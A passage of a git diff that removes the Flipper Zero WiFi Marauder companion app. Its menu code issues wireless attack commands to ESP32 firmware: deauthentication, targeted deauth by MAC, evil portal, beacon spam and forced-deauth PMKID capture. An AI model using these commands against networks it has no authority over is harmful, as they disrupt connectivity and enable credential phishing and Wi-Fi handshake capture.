to the\nflipper sd card here:\n" MARAUDER_APP_FOLDER_USER_PCAPS - "\n\nYou can change this setting in the app at any time. Would\nyou like to enable this feature now?"); - } else { - widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Save logs?"); - widget_add_text_scroll_element( - widget, - 0, - 12, - 128, - 38, - "This app supports saving text\nlogs of console output to the\nflipper sd card here:\n" MARAUDER_APP_FOLDER_USER_LOGS - "\n\nYou can change this setting in the app at any time. Would\nyou like to enable this feature now?"); - } -} - -void wifi_marauder_scene_settings_init_on_enter(void* context) { - WifiMarauderApp* app = context; - - app->which_prompt = PROMPT_PCAPS; - wifi_marauder_scene_settings_init_setup_widget(app); - - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewWidget); -} - -bool wifi_marauder_scene_settings_init_on_event(void* context, SceneManagerEvent event) { - WifiMarauderApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - // get which button press: "Yes" or "No" - if(event.event == GuiButtonTypeRight) { - // Yes - if(app->which_prompt == PROMPT_PCAPS) { - app->ok_to_save_pcaps = true; - } else { - app->ok_to_save_logs = true; - } - } else if(event.event == GuiButtonTypeLeft) { - // No - if(app->which_prompt == PROMPT_PCAPS) { - app->ok_to_save_pcaps = false; - } else { - app->ok_to_save_logs = false; - } - } - - // save setting to file, load next widget or scene - if(app->which_prompt == PROMPT_PCAPS) { - if(storage_file_open( - app->save_pcap_setting_file, - SAVE_PCAP_SETTING_FILEPATH, - FSAM_WRITE, - FSOM_CREATE_ALWAYS)) { - const char* ok = app->ok_to_save_pcaps ? Y : N; - storage_file_write(app->save_pcap_setting_file, ok, sizeof(ok)); - } else { - dialog_message_show_storage_error(app->dialogs, "Cannot save settings"); - } - storage_file_close(app->save_pcap_setting_file); - // same scene, different-looking widget - app->which_prompt = PROMPT_LOGS; - wifi_marauder_scene_settings_init_setup_widget(app); - } else { - if(storage_file_open( - app->save_logs_setting_file, - SAVE_LOGS_SETTING_FILEPATH, - FSAM_WRITE, - FSOM_CREATE_ALWAYS)) { - const char* ok = app->ok_to_save_logs ? Y : N; - storage_file_write(app->save_logs_setting_file, ok, sizeof(ok)); - } else { - dialog_message_show_storage_error(app->dialogs, "Cannot save settings"); - } - storage_file_close(app->save_logs_setting_file); - // go back to start scene (main menu) - app->need_to_prompt_settings_init = false; - scene_manager_previous_scene(app->scene_manager); - } - consumed = true; - } - - return consumed; -} - -void wifi_marauder_scene_settings_init_on_exit(void* context) { - WifiMarauderApp* app = context; - widget_reset(app->widget); - if(storage_file_is_open(app->save_pcap_setting_file)) { - storage_file_close(app->save_pcap_setting_file); - } - if(storage_file_is_open(app->save_logs_setting_file)) { - storage_file_close(app->save_logs_setting_file); - } -} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_sniffpmkid_options.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_sniffpmkid_options.c deleted file mode 100644 index 02869030e..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_sniffpmkid_options.c +++ /dev/null @@ -1,117 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -enum SubmenuIndex { - SubmenuIndexPassive, - SubmenuIndexActive, - SubmenuIndexTargetedPassive, - SubmenuIndexTargetedActive, - SubmenuIndexChannelPassive, - SubmenuIndexChannelActive, -}; - -static void wifi_marauder_scene_sniffpmkid_options_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - - app->is_custom_tx_string = false; // this will be set if needed by text input - switch(index) { - case SubmenuIndexPassive: - app->selected_tx_string = "sniffpmkid"; - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneSniffPmkidOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - break; - case SubmenuIndexActive: - app->selected_tx_string = "sniffpmkid -d"; - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneSniffPmkidOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - break; - case SubmenuIndexTargetedPassive: - app->selected_tx_string = "sniffpmkid -l"; - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneSniffPmkidOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - break; - case SubmenuIndexTargetedActive: - app->selected_tx_string = "sniffpmkid -d -l"; - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneSniffPmkidOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - break; - case SubmenuIndexChannelPassive: - app->selected_tx_string = "sniffpmkid -c"; - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneSniffPmkidOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneTextInput); - break; - case SubmenuIndexChannelActive: - app->selected_tx_string = "sniffpmkid -d -c"; - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneSniffPmkidOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneTextInput); - break; - } -} - -void wifi_marauder_scene_sniffpmkid_options_on_enter(void* context) { - WifiMarauderApp* app = context; - - Submenu* submenu = app->submenu; - - submenu_set_header(submenu, "Sniff PMKID"); - submenu_add_item( - submenu, - "Passive", - SubmenuIndexPassive, - wifi_marauder_scene_sniffpmkid_options_callback, - app); - submenu_add_item( - submenu, - "Active (Force Deauth)", - SubmenuIndexActive, - wifi_marauder_scene_sniffpmkid_options_callback, - app); - submenu_add_item( - submenu, - "Targeted Passive (List)", - SubmenuIndexTargetedPassive, - wifi_marauder_scene_sniffpmkid_options_callback, - app); - submenu_add_item( - submenu, - "Targeted Active (List)", - SubmenuIndexTargetedActive, - wifi_marauder_scene_sniffpmkid_options_callback, - app); - submenu_add_item( - submenu, - "On Channel # - Passive", - SubmenuIndexChannelPassive, - wifi_marauder_scene_sniffpmkid_options_callback, - app); - submenu_add_item( - submenu, - "On Channel # - Active", - SubmenuIndexChannelActive, - wifi_marauder_scene_sniffpmkid_options_callback, - app); - - submenu_set_selected_item( - submenu, - scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneSniffPmkidOptions)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewSubmenu); -} - -bool wifi_marauder_scene_sniffpmkid_options_on_event(void* context, SceneManagerEvent event) { - //WifiMarauderApp* app = context; - UNUSED(context); - UNUSED(event); - bool consumed = false; - - return consumed; -} - -void wifi_marauder_scene_sniffpmkid_options_on_exit(void* context) { - WifiMarauderApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c deleted file mode 100644 index 6e6be90df..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c +++ /dev/null @@ -1,287 +0,0 @@ -//** Includes sniffbt and sniffskim for compatible ESP32-WROOM hardware. -//wifi_marauder_app_i.h also changed **// -#include "../wifi_marauder_app_i.h" - -// For each command, define whether additional arguments are needed -// (enabling text input to fill them out), and whether the console -// text box should focus at the start of the output or the end -typedef enum { NO_ARGS = 0, INPUT_ARGS, TOGGLE_ARGS } InputArgs; - -typedef enum { FOCUS_CONSOLE_END = 0, FOCUS_CONSOLE_START, FOCUS_CONSOLE_TOGGLE } FocusConsole; - -#define SHOW_STOPSCAN_TIP (true) -#define NO_TIP (false) - -#define MAX_OPTIONS (9) -typedef struct { - const char* item_string; - const char* options_menu[MAX_OPTIONS]; - int num_options_menu; - const char* actual_commands[MAX_OPTIONS]; - InputArgs needs_keyboard; - FocusConsole focus_console; - bool show_stopscan_tip; -} WifiMarauderItem; - -// NUM_MENU_ITEMS defined in wifi_marauder_app_i.h - if you add an entry here, increment it! -const WifiMarauderItem items[NUM_MENU_ITEMS] = { - {"View Log from", {"start", "end"}, 2, {"", ""}, NO_ARGS, FOCUS_CONSOLE_TOGGLE, NO_TIP}, - {"Scan", - {"ap", "station"}, - 2, - {"scanap", "scansta"}, - NO_ARGS, - FOCUS_CONSOLE_END, - SHOW_STOPSCAN_TIP}, - {"SSID", - {"add rand", "add name", "remove"}, - 3, - {"ssid -a -g", "ssid -a -n", "ssid -r"}, - INPUT_ARGS, - FOCUS_CONSOLE_START, - NO_TIP}, - {"List", - {"ap", "ssid", "station"}, - 3, - {"list -a", "list -s", "list -c"}, - NO_ARGS, - FOCUS_CONSOLE_START, - NO_TIP}, - {"Select", - {"ap", "ssid", "station"}, - 3, - {"select -a", "select -s", "select -c"}, - INPUT_ARGS, - FOCUS_CONSOLE_END, - NO_TIP}, - {"Clear List", - {"ap", "ssid", "station"}, - 3, - {"clearlist -a", "clearlist -s", "clearlist -c"}, - NO_ARGS, - FOCUS_CONSOLE_END, - NO_TIP}, - {"Attack", - {"deauth", "probe", "rickroll"}, - 3, - {"attack -t deauth", "attack -t probe", "attack -t rickroll"}, - NO_ARGS, - FOCUS_CONSOLE_END, - SHOW_STOPSCAN_TIP}, - {"Evil Portal", - {"start"}, - 1, - {"evilportal -c start"}, - NO_ARGS, - FOCUS_CONSOLE_END, - SHOW_STOPSCAN_TIP}, - {"Targeted Deauth", - {"station", "manual"}, - 2, - {"attack -t deauth -c", "attack -t deauth -s"}, - TOGGLE_ARGS, - FOCUS_CONSOLE_END, - SHOW_STOPSCAN_TIP}, - {"Beacon Spam", - {"ap list", "ssid list", "random"}, - 3, - {"attack -t beacon -a", "attack -t beacon -l", "attack -t beacon -r"}, - NO_ARGS, - FOCUS_CONSOLE_END, - SHOW_STOPSCAN_TIP}, - {"Sniff", - {"beacon", "deauth", "pmkid", "probe", "pwn", "raw", "bt", "skim"}, - 8, - {"sniffbeacon", - "sniffdeauth", - "sniffpmkid", - "sniffprobe", - "sniffpwn", - "sniffraw", - "sniffbt", - "sniffskim"}, - NO_ARGS, - FOCUS_CONSOLE_END, - SHOW_STOPSCAN_TIP}, - {"Signal Monitor", {""}, 1, {"sigmon"}, NO_ARGS, FOCUS_CONSOLE_END, SHOW_STOPSCAN_TIP}, - {"Channel", - {"get", "set"}, - 2, - {"channel", "channel -s"}, - TOGGLE_ARGS, - FOCUS_CONSOLE_END, - NO_TIP}, - {"LED", {"hex", "pattern"}, 2, {"led -s", "led -p"}, INPUT_ARGS, FOCUS_CONSOLE_END, NO_TIP}, - {"Settings", - {"display", "restore", "ForcePMKID", "ForceProbe", "SavePCAP", "EnableLED", "other"}, - 7, - {"settings", - "settings -r", - "settings -s ForcePMKID enable", - "settings -s ForceProbe enable", - "settings -s SavePCAP enable", - "settings -s EnableLED enable", - "settings -s"}, - TOGGLE_ARGS, - FOCUS_CONSOLE_START, - NO_TIP}, - {"Update", {"sd"}, 1, {"update -s"}, NO_ARGS, FOCUS_CONSOLE_END, NO_TIP}, - {"Reboot", {""}, 1, {"reboot"}, NO_ARGS, FOCUS_CONSOLE_END, NO_TIP}, - {"Help", {""}, 1, {"help"}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP}, - {"Scripts", {""}, 1, {""}, NO_ARGS, FOCUS_CONSOLE_END, NO_TIP}, - {"Save to flipper sdcard", // keep as last entry or change logic in callback below - {""}, - 1, - {""}, - NO_ARGS, - FOCUS_CONSOLE_START, - NO_TIP}, -}; - -static void wifi_marauder_scene_start_var_list_enter_callback(void* context, uint32_t index) { - furi_assert(context); - WifiMarauderApp* app = context; - - furi_assert(index < NUM_MENU_ITEMS); - const WifiMarauderItem* item = &items[index]; - - const int selected_option_index = app->selected_option_index[index]; - furi_assert(selected_option_index < item->num_options_menu); - app->selected_tx_string = item->actual_commands[selected_option_index]; - app->is_command = (1 <= index); - app->is_custom_tx_string = false; - app->selected_menu_index = index; - app->focus_console_start = (item->focus_console == FOCUS_CONSOLE_TOGGLE) ? - (selected_option_index == 0) : - item->focus_console; - app->show_stopscan_tip = item->show_stopscan_tip; - - if(!app->is_command && selected_option_index == 0) { - // View Log from start - view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartLogViewer); - return; - } - - if(app->selected_tx_string && - strncmp("sniffpmkid", app->selected_tx_string, strlen("sniffpmkid")) == 0) { - // sniffpmkid submenu - view_dispatcher_send_custom_event( - app->view_dispatcher, WifiMarauderEventStartSniffPmkidOptions); - return; - } - - // Select automation script - if(index == NUM_MENU_ITEMS - 2) { - view_dispatcher_send_custom_event( - app->view_dispatcher, WifiMarauderEventStartScriptSelect); - return; - } - - if(index == NUM_MENU_ITEMS - 1) { - // "Save to flipper sdcard" special case - start SettingsInit widget - view_dispatcher_send_custom_event( - app->view_dispatcher, WifiMarauderEventStartSettingsInit); - return; - } - - bool needs_keyboard = (item->needs_keyboard == TOGGLE_ARGS) ? (selected_option_index != 0) : - item->needs_keyboard; - if(needs_keyboard) { - view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartKeyboard); - } else { - view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartConsole); - } -} - -static void wifi_marauder_scene_start_var_list_change_callback(VariableItem* item) { - furi_assert(item); - - WifiMarauderApp* app = variable_item_get_context(item); - furi_assert(app); - - const WifiMarauderItem* menu_item = &items[app->selected_menu_index]; - uint8_t item_index = variable_item_get_current_value_index(item); - furi_assert(item_index < menu_item->num_options_menu); - variable_item_set_current_value_text(item, menu_item->options_menu[item_index]); - app->selected_option_index[app->selected_menu_index] = item_index; -} - -void wifi_marauder_scene_start_on_enter(void* context) { - WifiMarauderApp* app = context; - VariableItemList* var_item_list = app->var_item_list; - - variable_item_list_set_enter_callback( - var_item_list, wifi_marauder_scene_start_var_list_enter_callback, app); - - VariableItem* item; - for(int i = 0; i < NUM_MENU_ITEMS; ++i) { - item = variable_item_list_add( - var_item_list, - items[i].item_string, - items[i].num_options_menu, - wifi_marauder_scene_start_var_list_change_callback, - app); - variable_item_set_current_value_index(item, app->selected_option_index[i]); - variable_item_set_current_value_text( - item, items[i].options_menu[app->selected_option_index[i]]); - } - - variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewVarItemList); - - // Wait, if the user hasn't initialized sdcard settings, let's prompt them once (then come back here) - if(app->need_to_prompt_settings_init) { - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneSettingsInit); - } -} - -bool wifi_marauder_scene_start_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - WifiMarauderApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == WifiMarauderEventStartKeyboard) { - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneTextInput); - } else if(event.event == WifiMarauderEventStartConsole) { - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - } else if(event.event == WifiMarauderEventStartSettingsInit) { - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneSettingsInit); - } else if(event.event == WifiMarauderEventStartLogViewer) { - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneLogViewer); - } else if(event.event == WifiMarauderEventStartScriptSelect) { - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptSelect); - } else if(event.event == WifiMarauderEventStartSniffPmkidOptions) { - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneSniffPmkidOptions); - } - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - app->selected_menu_index = variable_item_list_get_selected_item_index(app->var_item_list); - consumed = true; - } else if(event.type == SceneManagerEventTypeBack) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - consumed = true; - } - - return consumed; -} - -void wifi_marauder_scene_start_on_exit(void* context) { - WifiMarauderApp* app = context; - variable_item_list_reset(app->var_item_list); -} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c deleted file mode 100644 index e6091a410..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c +++ /dev/null @@ -1,154 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -void wifi_marauder_scene_text_input_callback(void* context) { - WifiMarauderApp* app = context; - - switch(app->special_case_input_step) { - case 0: // most commands - view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartConsole); - break; - case 1: // special case for deauth: save source MAC - view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventSaveSourceMac); - break; - case 2: // special case for deauth: save destination MAC - view_dispatcher_send_custom_event( - app->view_dispatcher, WifiMarauderEventSaveDestinationMac); - break; - default: - break; - } -} - -void wifi_marauder_scene_text_input_on_enter(void* context) { - WifiMarauderApp* app = context; - - if(0 == - strncmp("attack -t deauth -s", app->selected_tx_string, strlen("attack -t deauth -s"))) { - // Special case for manual deauth input - app->special_case_input_step = 1; - bzero(app->text_input_store, WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE); - } else if(false == app->is_custom_tx_string) { - // Most commands - app->special_case_input_step = 0; - - // Fill text input with selected string so that user can add to it - size_t length = strlen(app->selected_tx_string); - furi_assert(length < WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE); - bzero(app->text_input_store, WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE); - strncpy(app->text_input_store, app->selected_tx_string, length); - - // Add space - because flipper keyboard currently doesn't have a space - app->text_input_store[length] = ' '; - app->text_input_store[length + 1] = '\0'; - app->is_custom_tx_string = true; - } - - // Setup view - WIFI_TextInput* text_input = app->text_input; - // Add help message to header - if(app->special_case_input_step == 1) { - wifi_text_input_set_header_text(text_input, "Enter source MAC"); - } else if(0 == strncmp("ssid -a -g", app->selected_tx_string, strlen("ssid -a -g"))) { - wifi_text_input_set_header_text(text_input, "Enter # SSIDs to generate"); - } else if(0 == strncmp("ssid -a -n", app->selected_tx_string, strlen("ssid -a -n"))) { - wifi_text_input_set_header_text(text_input, "Enter SSID name to add"); - } else if(0 == strncmp("ssid -r", app->selected_tx_string, strlen("ssid -r"))) { - wifi_text_input_set_header_text(text_input, "Remove target from SSID list"); - } else if(0 == strncmp("select -a", app->selected_tx_string, strlen("select -a"))) { - wifi_text_input_set_header_text(text_input, "Add target from AP list"); - } else if(0 == strncmp("select -s", app->selected_tx_string, strlen("select -s"))) { - wifi_text_input_set_header_text(text_input, "Add target from SSID list"); - } else { - wifi_text_input_set_header_text(text_input, "Add command arguments"); - } - wifi_text_input_set_result_callback( - text_input, - wifi_marauder_scene_text_input_callback, - app, - app->text_input_store, - WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE, - false); - - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewTextInput); -} - -bool wifi_marauder_scene_text_input_on_event(void* context, SceneManagerEvent event) { - WifiMarauderApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == WifiMarauderEventStartConsole) { - // Point to custom string to send - app->selected_tx_string = app->text_input_store; - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - consumed = true; - } else if(event.event == WifiMarauderEventSaveSourceMac) { - if(12 != strlen(app->text_input_store)) { - wifi_text_input_set_header_text(app->text_input, "MAC must be 12 hex chars!"); - } else { - snprintf( - app->special_case_input_src_addr, - sizeof(app->special_case_input_src_addr), - "%c%c:%c%c:%c%c:%c%c:%c%c:%c%c", - app->text_input_store[0], - app->text_input_store[1], - app->text_input_store[2], - app->text_input_store[3], - app->text_input_store[4], - app->text_input_store[5], - app->text_input_store[6], - app->text_input_store[7], - app->text_input_store[8], - app->text_input_store[9], - app->text_input_store[10], - app->text_input_store[11]); - - // Advance scene to input destination MAC, clear text input - app->special_case_input_step = 2; - bzero(app->text_input_store, WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE); - wifi_text_input_set_header_text(app->text_input, "Enter destination MAC"); - } - consumed = true; - } else if(event.event == WifiMarauderEventSaveDestinationMac) { - if(12 != strlen(app->text_input_store)) { - wifi_text_input_set_header_text(app->text_input, "MAC must be 12 hex chars!"); - } else { - snprintf( - app->special_case_input_dst_addr, - sizeof(app->special_case_input_dst_addr), - "%c%c:%c%c:%c%c:%c%c:%c%c:%c%c", - app->text_input_store[0], - app->text_input_store[1], - app->text_input_store[2], - app->text_input_store[3], - app->text_input_store[4], - app->text_input_store[5], - app->text_input_store[6], - app->text_input_store[7], - app->text_input_store[8], - app->text_input_store[9], - app->text_input_store[10], - app->text_input_store[11]); - - // Construct command with source and destination MACs - snprintf( - app->text_input_store, - WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE, - "attack -t deauth -s %18s -d %18s", - app->special_case_input_src_addr, - app->special_case_input_dst_addr); - app->selected_tx_string = app->text_input_store; - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - } - consumed = true; - } - } - - return consumed; -} - -void wifi_marauder_scene_text_input_on_exit(void* context) { - WifiMarauderApp* app = context; - - wifi_text_input_reset(app->text_input); -} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_user_input.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_user_input.c deleted file mode 100644 index 3d5697caf..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_user_input.c +++ /dev/null @@ -1,155 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -bool wifi_marauder_scene_user_input_validator_number_callback( - const char* text, - FuriString* error, - void* context) { - UNUSED(context); - for(int i = 0; text[i] != '\0'; i++) { - if(text[i] < '0' || text[i] > '9') { - furi_string_printf(error, "This is not\na valid\nnumber!"); - return false; - } - } - return true; -} - -bool wifi_marauder_scene_user_input_validator_file_callback( - const char* text, - FuriString* error, - void* context) { - UNUSED(context); - if(strlen(text) == 0) { - furi_string_printf(error, "File name\ncannot be\nblank!"); - return false; - } - return true; -} - -void wifi_marauder_scene_user_input_ok_callback(void* context) { - WifiMarauderApp* app = context; - - File* file = NULL; - char* file_path = NULL; - - switch(app->user_input_type) { - // Writes the string value of the reference - case WifiMarauderUserInputTypeString: - if(app->user_input_string_reference != NULL) { - strncpy( - *app->user_input_string_reference, - app->text_input_store, - strlen(app->text_input_store) + 1); - app->user_input_string_reference = NULL; - } - break; - // Writes the numerical value of the reference - case WifiMarauderUserInputTypeNumber: - if(app->user_input_number_reference != NULL) { - *app->user_input_number_reference = atoi(app->text_input_store); - app->user_input_number_reference = NULL; - } - break; - // Creates a file with the name entered by the user, if it does not exist - case WifiMarauderUserInputTypeFileName: - file = storage_file_alloc(app->storage); - // Use application directory if not specified - if(app->user_input_file_dir == NULL) { - app->user_input_file_dir = strdup(MARAUDER_APP_FOLDER); - } - if(app->user_input_file_extension != NULL) { - size_t file_path_len = strlen(app->user_input_file_dir) + - strlen(app->text_input_store) + - strlen(app->user_input_file_extension) + 3; - file_path = (char*)malloc(file_path_len); - snprintf( - file_path, - file_path_len, - "%s/%s.%s", - app->user_input_file_dir, - app->text_input_store, - app->user_input_file_extension); - } else { - size_t file_path_len = - strlen(app->user_input_file_dir) + strlen(app->text_input_store) + 2; - file_path = (char*)malloc(file_path_len); - snprintf( - file_path, file_path_len, "%s/%s", app->user_input_file_dir, app->text_input_store); - } - if(storage_file_open(file, file_path, FSAM_WRITE, FSOM_CREATE_NEW)) { - storage_file_close(file); - } - // Free memory - free(app->user_input_file_dir); - app->user_input_file_dir = NULL; - free(app->user_input_file_extension); - app->user_input_file_extension = NULL; - free(file_path); - storage_file_free(file); - break; - default: - break; - } - - scene_manager_previous_scene(app->scene_manager); -} - -void wifi_marauder_scene_user_input_on_enter(void* context) { - WifiMarauderApp* app = context; - - switch(app->user_input_type) { - // Loads the string value of the reference - case WifiMarauderUserInputTypeString: - wifi_text_input_set_header_text(app->text_input, "Enter value:"); - wifi_text_input_set_validator(app->text_input, NULL, app); - if(app->user_input_string_reference != NULL) { - strncpy( - app->text_input_store, - *app->user_input_string_reference, - strlen(*app->user_input_string_reference) + 1); - } - break; - // Loads the numerical value of the reference - case WifiMarauderUserInputTypeNumber: - wifi_text_input_set_header_text(app->text_input, "Enter a valid number:"); - wifi_text_input_set_validator( - app->text_input, wifi_marauder_scene_user_input_validator_number_callback, app); - if(app->user_input_number_reference != NULL) { - char number_str[32]; - snprintf(number_str, sizeof(number_str), "%d", *app->user_input_number_reference); - strncpy(app->text_input_store, number_str, strlen(number_str) + 1); - } - break; - // File name - case WifiMarauderUserInputTypeFileName: - wifi_text_input_set_header_text(app->text_input, "Enter file name:"); - wifi_text_input_set_validator( - app->text_input, wifi_marauder_scene_user_input_validator_file_callback, app); - break; - default: - scene_manager_previous_scene(app->scene_manager); - return; - } - - wifi_text_input_set_result_callback( - app->text_input, - wifi_marauder_scene_user_input_ok_callback, - app, - app->text_input_store, - WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE, - false); - - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewTextInput); -} - -bool wifi_marauder_scene_user_input_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void wifi_marauder_scene_user_input_on_exit(void* context) { - WifiMarauderApp* app = context; - memset(app->text_input_store, 0, sizeof(app->text_input_store)); - wifi_text_input_reset(app->text_input); -} diff --git a/applications/external/wifi_marauder_companion/screenshots/marauder-save-pcaps.png b/applications/external/wifi_marauder_companion/screenshots/marauder-save-pcaps.png deleted file mode 100755 index dd4bcc1a0..000000000 Binary files a/applications/external/wifi_marauder_companion/screenshots/marauder-save-pcaps.png and /dev/null differ diff --git a/applications/external/wifi_marauder_companion/screenshots/marauder-script-demo.png b/applications/external/wifi_marauder_companion/screenshots/marauder-script-demo.png deleted file mode 100755 index 900fcef7e..000000000 Binary files a/applications/external/wifi_marauder_companion/screenshots/marauder-script-demo.png and /dev/null differ diff --git a/applications/external/wifi_marauder_companion/screenshots/marauder-topmenu.png b/applications/external/wifi_marauder_companion/screenshots/marauder-topmenu.png deleted file mode 100755 index 9c6c2196d..000000000 Binary files a/applications/external/wifi_marauder_companion/screenshots/marauder-topmenu.png and /dev/null differ diff --git a/applications/external/wifi_marauder_companion/script/cJSON.c b/applications/external/wifi_marauder_companion/script/cJSON.c deleted file mode 100644 index 06341fe38..000000000 --- a/applications/external/wifi_marauder_companion/script/cJSON.c +++ /dev/null @@ -1,2743 +0,0 @@ -/* - Copyright (c) 2009-2017 Dave Gamble and cJSON contributors - - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights - to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - copies of the Software, and to permit persons to whom the Software is - furnished to do so, subject to the following conditions: - - The above copyright notice and this permission notice shall be included in - all copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - THE SOFTWARE. -*/ - -/* cJSON */ -/* JSON parser in C. */ - -/* disable warnings about old C89 functions in MSVC */ -#if !defined(_CRT_SECURE_NO_DEPRECATE) && defined(_MSC_VER) -#define _CRT_SECURE_NO_DEPRECATE -#endif - -#ifdef __GNUC__ -#pragma GCC visibility push(default) -#endif -#if defined(_MSC_VER) -#pragma warning(push) -/* disable warning about single line comments in system headers */ -#pragma warning(disable : 4001) -#endif - -#include -#include -#include -#include -#include -#include -#include - -#ifdef ENABLE_LOCALES -#include -#endif - -#if defined(_MSC_VER) -#pragma warning(pop) -#endif -#ifdef __GNUC__ -#pragma GCC visibility pop -#endif - -#include "cJSON.h" - -/* define our own boolean type */ -#ifdef true -#undef true -#endif -#define true ((cJSON_bool)1) - -#ifdef false -#undef false -#endif -#define false ((cJSON_bool)0) - -/* define isnan and isinf for ANSI C, if in C99 or above, isnan and isinf has been defined in math.h */ -#ifndef isinf -#define isinf(d) (isnan((d - d)) && !isnan(d)) -#endif -#ifndef isnan -#define isnan(d) (d != d) -#endif - -#ifndef NAN -#ifdef _WIN32 -#define NAN sqrt(-1.0) -#else -#define NAN 0.0 / 0.0 -#endif -#endif - -typedef struct { - const unsigned char* json; - size_t position; -} error; -static error global_error = {NULL, 0}; - -CJSON_PUBLIC(const char*) cJSON_GetErrorPtr(void) { - return (const char*)(global_error.json + global_error.position); -} - -CJSON_PUBLIC(char*) cJSON_GetStringValue(const cJSON* const item) { - if(!cJSON_IsString(item)) { - return NULL; - } - - return item->valuestring; -} - -CJSON_PUBLIC(double) cJSON_GetNumberValue(const cJSON* const item) { - if(!cJSON_IsNumber(item)) { - return (double)NAN; - } - - return item->valuedouble; -} - -/* This is a safeguard to prevent copy-pasters from using incompatible C and header files */ -#if(CJSON_VERSION_MAJOR != 1) || (CJSON_VERSION_MINOR != 7) || 